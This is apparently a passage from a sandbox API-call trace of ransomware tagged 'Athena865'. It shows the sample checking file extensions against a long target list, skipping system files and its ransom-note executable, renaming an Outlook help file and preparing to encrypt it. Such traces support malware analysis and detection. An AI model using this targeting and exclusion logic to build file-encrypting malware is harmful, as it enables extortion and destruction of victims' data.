[0144.740] lstrcmpiW (lpString1="HXS", lpString2="fp3") returned 1 [0144.740] lstrlenW (lpString="fp4") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="fp4") returned 1 [0144.740] lstrlenW (lpString="fp5") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="fp5") returned 1 [0144.740] lstrlenW (lpString="fp7") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="fp7") returned 1 [0144.740] lstrlenW (lpString="fpt") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="fpt") returned 1 [0144.740] lstrlenW (lpString="frm") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="frm") returned 1 [0144.740] lstrlenW (lpString="gdb") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="gdb") returned 1 [0144.740] lstrlenW (lpString="gdb") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="gdb") returned 1 [0144.740] lstrlenW (lpString="grdb") returned 4 [0144.740] lstrcmpiW (lpString1=".HXS", lpString2="grdb") returned -1 [0144.741] lstrlenW (lpString="gwi") returned 3 [0144.741] lstrcmpiW (lpString1="HXS", lpString2="gwi") returned 1 [0144.741] lstrlenW (lpString="hdb") returned 3 [0144.741] lstrcmpiW (lpString1="HXS", lpString2="hdb") returned 1 [0144.741] lstrlenW (lpString="his") returned 3 [0144.741] lstrcmpiW (lpString1="HXS", lpString2="his") returned 1 [0144.741] lstrlenW (lpString="ib") returned 2 [0144.741] lstrcmpiW (lpString1="XS", lpString2="ib") returned 1 [0144.741] lstrlenW (lpString="idb") returned 3 [0144.741] lstrcmpiW (lpString1="HXS", lpString2="idb") returned -1 [0144.741] lstrlenW (lpString="ihx") returned 3 [0144.741] lstrcmpiW (lpString1="HXS", lpString2="ihx") returned -1 [0144.741] lstrlenW (lpString="itdb") returned 4 [0144.741] lstrcmpiW (lpString1=".HXS", lpString2="itdb") returned -1 [0144.741] lstrlenW (lpString="itw") returned 3 [0144.741] lstrcmpiW (lpString1="HXS", lpString2="itw") returned -1 [0144.741] lstrlenW (lpString="jet") returned 3 [0144.741] lstrcmpiW (lpString1="HXS", lpString2="jet") returned -1 [0144.741] lstrlenW (lpString="jtx") returned 3 [0144.741] lstrcmpiW (lpString1="HXS", lpString2="jtx") returned -1 [0144.741] lstrlenW (lpString="kdb") returned 3 [0144.741] lstrcmpiW (lpString1="HXS", lpString2="kdb") returned -1 [0144.741] lstrlenW (lpString="kexi") returned 4 [0144.741] lstrcmpiW (lpString1=".HXS", lpString2="kexi") returned -1 [0144.741] lstrlenW (lpString="kexic") returned 5 [0144.741] lstrcmpiW (lpString1="K.HXS", lpString2="kexic") returned -1 [0144.741] lstrlenW (lpString="kexis") returned 5 [0144.742] lstrcmpiW (lpString1="K.HXS", lpString2="kexis") returned -1 [0144.742] lstrlenW (lpString="lgc") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="lgc") returned -1 [0144.742] lstrlenW (lpString="lwx") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="lwx") returned -1 [0144.742] lstrlenW (lpString="maf") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="maf") returned -1 [0144.742] lstrlenW (lpString="maq") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="maq") returned -1 [0144.742] lstrlenW (lpString="mar") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="mar") returned -1 [0144.742] lstrlenW (lpString="marshal") returned 7 [0144.742] lstrcmpiW (lpString1="OOK.HXS", lpString2="marshal") returned 1 [0144.742] lstrlenW (lpString="mas") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="mas") returned -1 [0144.742] lstrlenW (lpString="mav") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="mav") returned -1 [0144.742] lstrlenW (lpString="maw") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="maw") returned -1 [0144.742] lstrlenW (lpString="mdbhtml") returned 7 [0144.742] lstrcmpiW (lpString1="OOK.HXS", lpString2="mdbhtml") returned 1 [0144.742] lstrlenW (lpString="mdn") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="mdn") returned -1 [0144.742] lstrlenW (lpString="mdt") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="mdt") returned -1 [0144.742] lstrlenW (lpString="mfd") returned 3 [0144.742] lstrcmpiW (lpString1="HXS", lpString2="mfd") returned -1 [0144.743] lstrlenW (lpString="mpd") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="mpd") returned -1 [0144.743] lstrlenW (lpString="mrg") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="mrg") returned -1 [0144.743] lstrlenW (lpString="mud") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="mud") returned -1 [0144.743] lstrlenW (lpString="mwb") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="mwb") returned -1 [0144.743] lstrlenW (lpString="myd") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="myd") returned -1 [0144.743] lstrlenW (lpString="ndf") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="ndf") returned -1 [0144.743] lstrlenW (lpString="nnt") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="nnt") returned -1 [0144.743] lstrlenW (lpString="nrmlib") returned 6 [0144.743] lstrcmpiW (lpString1="OK.HXS", lpString2="nrmlib") returned 1 [0144.743] lstrlenW (lpString="ns2") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="ns2") returned -1 [0144.743] lstrlenW (lpString="ns3") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="ns3") returned -1 [0144.743] lstrlenW (lpString="ns4") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="ns4") returned -1 [0144.743] lstrlenW (lpString="nsf") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="nsf") returned -1 [0144.743] lstrlenW (lpString="nv") returned 2 [0144.743] lstrcmpiW (lpString1="XS", lpString2="nv") returned 1 [0144.743] lstrlenW (lpString="nv2") returned 3 [0144.743] lstrcmpiW (lpString1="HXS", lpString2="nv2") returned -1 [0144.744] lstrlenW (lpString="nwdb") returned 4 [0144.744] lstrcmpiW (lpString1=".HXS", lpString2="nwdb") returned -1 [0144.744] lstrlenW (lpString="nyf") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="nyf") returned -1 [0144.744] lstrlenW (lpString="odb") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="odb") returned -1 [0144.744] lstrlenW (lpString="odb") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="odb") returned -1 [0144.744] lstrlenW (lpString="oqy") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="oqy") returned -1 [0144.744] lstrlenW (lpString="ora") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="ora") returned -1 [0144.744] lstrlenW (lpString="orx") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="orx") returned -1 [0144.744] lstrlenW (lpString="owc") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="owc") returned -1 [0144.744] lstrlenW (lpString="p96") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="p96") returned -1 [0144.744] lstrlenW (lpString="p97") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="p97") returned -1 [0144.744] lstrlenW (lpString="pan") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="pan") returned -1 [0144.744] lstrlenW (lpString="pdb") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="pdb") returned -1 [0144.744] lstrlenW (lpString="pdm") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="pdm") returned -1 [0144.744] lstrlenW (lpString="pnz") returned 3 [0144.744] lstrcmpiW (lpString1="HXS", lpString2="pnz") returned -1 [0144.745] lstrlenW (lpString="qry") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="qry") returned -1 [0144.745] lstrlenW (lpString="qvd") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="qvd") returned -1 [0144.745] lstrlenW (lpString="rbf") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="rbf") returned -1 [0144.745] lstrlenW (lpString="rctd") returned 4 [0144.745] lstrcmpiW (lpString1=".HXS", lpString2="rctd") returned -1 [0144.745] lstrlenW (lpString="rod") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="rod") returned -1 [0144.745] lstrlenW (lpString="rodx") returned 4 [0144.745] lstrcmpiW (lpString1=".HXS", lpString2="rodx") returned -1 [0144.745] lstrlenW (lpString="rpd") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="rpd") returned -1 [0144.745] lstrlenW (lpString="rsd") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="rsd") returned -1 [0144.745] lstrlenW (lpString="sas7bdat") returned 8 [0144.745] lstrcmpiW (lpString1="LOOK.HXS", lpString2="sas7bdat") returned -1 [0144.745] lstrlenW (lpString="sbf") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="sbf") returned -1 [0144.745] lstrlenW (lpString="scx") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="scx") returned -1 [0144.745] lstrlenW (lpString="sdb") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="sdb") returned -1 [0144.745] lstrlenW (lpString="sdc") returned 3 [0144.745] lstrcmpiW (lpString1="HXS", lpString2="sdc") returned -1 [0144.745] lstrlenW (lpString="sdf") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="sdf") returned -1 [0144.746] lstrlenW (lpString="sis") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="sis") returned -1 [0144.746] lstrlenW (lpString="spq") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="spq") returned -1 [0144.746] lstrlenW (lpString="te") returned 2 [0144.746] lstrcmpiW (lpString1="XS", lpString2="te") returned 1 [0144.746] lstrlenW (lpString="teacher") returned 7 [0144.746] lstrcmpiW (lpString1="OOK.HXS", lpString2="teacher") returned -1 [0144.746] lstrlenW (lpString="tmd") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="tmd") returned -1 [0144.746] lstrlenW (lpString="tps") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="tps") returned -1 [0144.746] lstrlenW (lpString="trc") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="trc") returned -1 [0144.746] lstrlenW (lpString="trc") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="trc") returned -1 [0144.746] lstrlenW (lpString="trm") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="trm") returned -1 [0144.746] lstrlenW (lpString="udb") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="udb") returned -1 [0144.746] lstrlenW (lpString="udl") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="udl") returned -1 [0144.746] lstrlenW (lpString="usr") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="usr") returned -1 [0144.746] lstrlenW (lpString="v12") returned 3 [0144.746] lstrcmpiW (lpString1="HXS", lpString2="v12") returned -1 [0144.747] lstrlenW (lpString="vis") returned 3 [0144.747] lstrcmpiW (lpString1="HXS", lpString2="vis") returned -1 [0144.747] lstrlenW (lpString="vpd") returned 3 [0144.747] lstrcmpiW (lpString1="HXS", lpString2="vpd") returned -1 [0144.747] lstrlenW (lpString="vvv") returned 3 [0144.747] lstrcmpiW (lpString1="HXS", lpString2="vvv") returned -1 [0144.747] lstrlenW (lpString="wdb") returned 3 [0144.747] lstrcmpiW (lpString1="HXS", lpString2="wdb") returned -1 [0144.747] lstrlenW (lpString="wmdb") returned 4 [0144.747] lstrcmpiW (lpString1=".HXS", lpString2="wmdb") returned -1 [0144.747] lstrlenW (lpString="wrk") returned 3 [0144.747] lstrcmpiW (lpString1="HXS", lpString2="wrk") returned -1 [0144.747] lstrlenW (lpString="xdb") returned 3 [0144.747] lstrcmpiW (lpString1="HXS", lpString2="xdb") returned -1 [0144.747] lstrlenW (lpString="xld") returned 3 [0144.747] lstrcmpiW (lpString1="HXS", lpString2="xld") returned -1 [0144.747] lstrlenW (lpString="xmlff") returned 5 [0144.747] lstrcmpiW (lpString1="K.HXS", lpString2="xmlff") returned -1 [0144.747] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.Athena865") returned 69 [0144.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.athena865"), dwFlags=0x1) returned 1 [0144.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.750] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5000295) returned 1 [0144.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.751] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.751] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.751] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.752] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c4f70, lpName=0x0) returned 0x17c [0144.755] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xc4f70) returned 0x2bb0000 [0144.779] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2c80000 [0144.853] UnmapViewOfFile (lpBaseAddress=0x2c80000) returned 1 [0144.871] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.871] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.871] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.872] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0144.879] CloseHandle (hObject=0x17c) returned 1 [0144.879] CloseHandle (hObject=0x154) returned 1 [0144.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.889] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXC", cAlternateFileName="OUTLOO~2.HXC")) returned 1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2=".") returned 1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="..") returned 1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="windows") returned -1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="bootmgr") returned 1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="temp") returned -1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="pagefile.sys") returned -1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="boot") returned 1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="ids.txt") returned 1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="ntuser.dat") returned 1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="perflogs") returned -1 [0144.889] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2="MSBuild") returned 1 [0144.889] lstrlenW (lpString="OUTLOOK_COL.HXC") returned 15 [0144.889] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK_COL.HXC" | out: lpString1="OUTLOOK_COL.HXC") returned="OUTLOOK_COL.HXC" [0144.890] lstrlenW (lpString="OUTLOOK_COL.HXC") returned 15 [0144.890] lstrlenW (lpString="Athena865") returned 9 [0144.890] lstrcmpiW (lpString1="K_COL.HXC", lpString2="Athena865") returned 1 [0144.890] lstrlenW (lpString=".dll") returned 4 [0144.890] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2=".dll") returned 1 [0144.890] lstrlenW (lpString=".lnk") returned 4 [0144.890] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2=".lnk") returned 1 [0144.890] lstrlenW (lpString=".ini") returned 4 [0144.890] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2=".ini") returned 1 [0144.890] lstrlenW (lpString=".sys") returned 4 [0144.890] lstrcmpiW (lpString1="OUTLOOK_COL.HXC", lpString2=".sys") returned 1 [0144.890] lstrlenW (lpString="OUTLOOK_COL.HXC") returned 15 [0144.890] lstrlenW (lpString="bak") returned 3 [0144.890] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0144.890] lstrlenW (lpString="ba_") returned 3 [0144.890] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0144.890] lstrlenW (lpString="dbb") returned 3 [0144.890] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0144.890] lstrlenW (lpString="vmdk") returned 4 [0144.890] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0144.890] lstrlenW (lpString="rar") returned 3 [0144.890] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0144.890] lstrlenW (lpString="zip") returned 3 [0144.890] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0144.890] lstrlenW (lpString="tgz") returned 3 [0144.890] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0144.890] lstrlenW (lpString="vbox") returned 4 [0144.890] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0144.890] lstrlenW (lpString="vdi") returned 3 [0144.890] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0144.891] lstrlenW (lpString="vhd") returned 3 [0144.891] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0144.891] lstrlenW (lpString="vhdx") returned 4 [0144.891] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0144.891] lstrlenW (lpString="avhd") returned 4 [0144.891] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0144.891] lstrlenW (lpString="db") returned 2 [0144.891] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0144.891] lstrlenW (lpString="db2") returned 3 [0144.891] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0144.891] lstrlenW (lpString="db3") returned 3 [0144.891] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0144.891] lstrlenW (lpString="dbf") returned 3 [0144.891] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0144.891] lstrlenW (lpString="mdf") returned 3 [0144.891] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0144.891] lstrlenW (lpString="mdb") returned 3 [0144.891] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0144.891] lstrlenW (lpString="sql") returned 3 [0144.891] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0144.891] lstrlenW (lpString="sqlite") returned 6 [0144.891] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0144.891] lstrlenW (lpString="sqlite3") returned 7 [0144.891] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0144.891] lstrlenW (lpString="sqlitedb") returned 8 [0144.891] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0144.891] lstrlenW (lpString="xml") returned 3 [0144.891] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0144.891] lstrlenW (lpString="$er") returned 3 [0144.892] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0144.892] lstrlenW (lpString="4dd") returned 3 [0144.892] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0144.892] lstrlenW (lpString="4dl") returned 3 [0144.892] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0144.892] lstrlenW (lpString="^^^") returned 3 [0144.892] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0144.892] lstrlenW (lpString="abs") returned 3 [0144.892] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0144.892] lstrlenW (lpString="abx") returned 3 [0144.892] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0144.892] lstrlenW (lpString="accdb") returned 5 [0144.892] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0144.892] lstrlenW (lpString="accdc") returned 5 [0144.892] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0144.892] lstrlenW (lpString="accde") returned 5 [0144.892] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0144.892] lstrlenW (lpString="accdr") returned 5 [0144.892] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0144.892] lstrlenW (lpString="accdt") returned 5 [0144.892] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0144.892] lstrlenW (lpString="accdw") returned 5 [0144.892] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0144.892] lstrlenW (lpString="accft") returned 5 [0144.892] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0144.892] lstrlenW (lpString="adb") returned 3 [0144.892] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0144.893] lstrlenW (lpString="adb") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0144.893] lstrlenW (lpString="ade") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0144.893] lstrlenW (lpString="adf") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0144.893] lstrlenW (lpString="adn") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0144.893] lstrlenW (lpString="adp") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0144.893] lstrlenW (lpString="alf") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0144.893] lstrlenW (lpString="ask") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0144.893] lstrlenW (lpString="btr") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0144.893] lstrlenW (lpString="cat") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0144.893] lstrlenW (lpString="cdb") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0144.893] lstrlenW (lpString="ckp") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0144.893] lstrlenW (lpString="cma") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0144.893] lstrlenW (lpString="cpd") returned 3 [0144.893] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0144.893] lstrlenW (lpString="dacpac") returned 6 [0144.893] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0144.894] lstrlenW (lpString="dad") returned 3 [0144.894] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0144.894] lstrlenW (lpString="dadiagrams") returned 10 [0144.894] lstrcmpiW (lpString1="OK_COL.HXC", lpString2="dadiagrams") returned 1 [0144.894] lstrlenW (lpString="daschema") returned 8 [0144.894] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0144.894] lstrlenW (lpString="db-journal") returned 10 [0144.894] lstrcmpiW (lpString1="OK_COL.HXC", lpString2="db-journal") returned 1 [0144.894] lstrlenW (lpString="db-shm") returned 6 [0144.894] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0144.894] lstrlenW (lpString="db-wal") returned 6 [0144.894] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0144.894] lstrlenW (lpString="dbc") returned 3 [0144.894] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0144.894] lstrlenW (lpString="dbs") returned 3 [0144.894] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0144.894] lstrlenW (lpString="dbt") returned 3 [0144.894] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0144.894] lstrlenW (lpString="dbv") returned 3 [0144.894] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0144.894] lstrlenW (lpString="dbx") returned 3 [0144.894] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0144.894] lstrlenW (lpString="dcb") returned 3 [0144.894] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0144.894] lstrlenW (lpString="dct") returned 3 [0144.894] lstrcmpiW (lpString1="HXC", lpString2="dct") returned 1 [0144.894] lstrlenW (lpString="dcx") returned 3 [0144.894] lstrcmpiW (lpString1="HXC", lpString2="dcx") returned 1 [0144.894] lstrlenW (lpString="ddl") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="ddl") returned 1 [0144.895] lstrlenW (lpString="dlis") returned 4 [0144.895] lstrcmpiW (lpString1=".HXC", lpString2="dlis") returned -1 [0144.895] lstrlenW (lpString="dp1") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="dp1") returned 1 [0144.895] lstrlenW (lpString="dqy") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="dqy") returned 1 [0144.895] lstrlenW (lpString="dsk") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="dsk") returned 1 [0144.895] lstrlenW (lpString="dsn") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="dsn") returned 1 [0144.895] lstrlenW (lpString="dtsx") returned 4 [0144.895] lstrcmpiW (lpString1=".HXC", lpString2="dtsx") returned -1 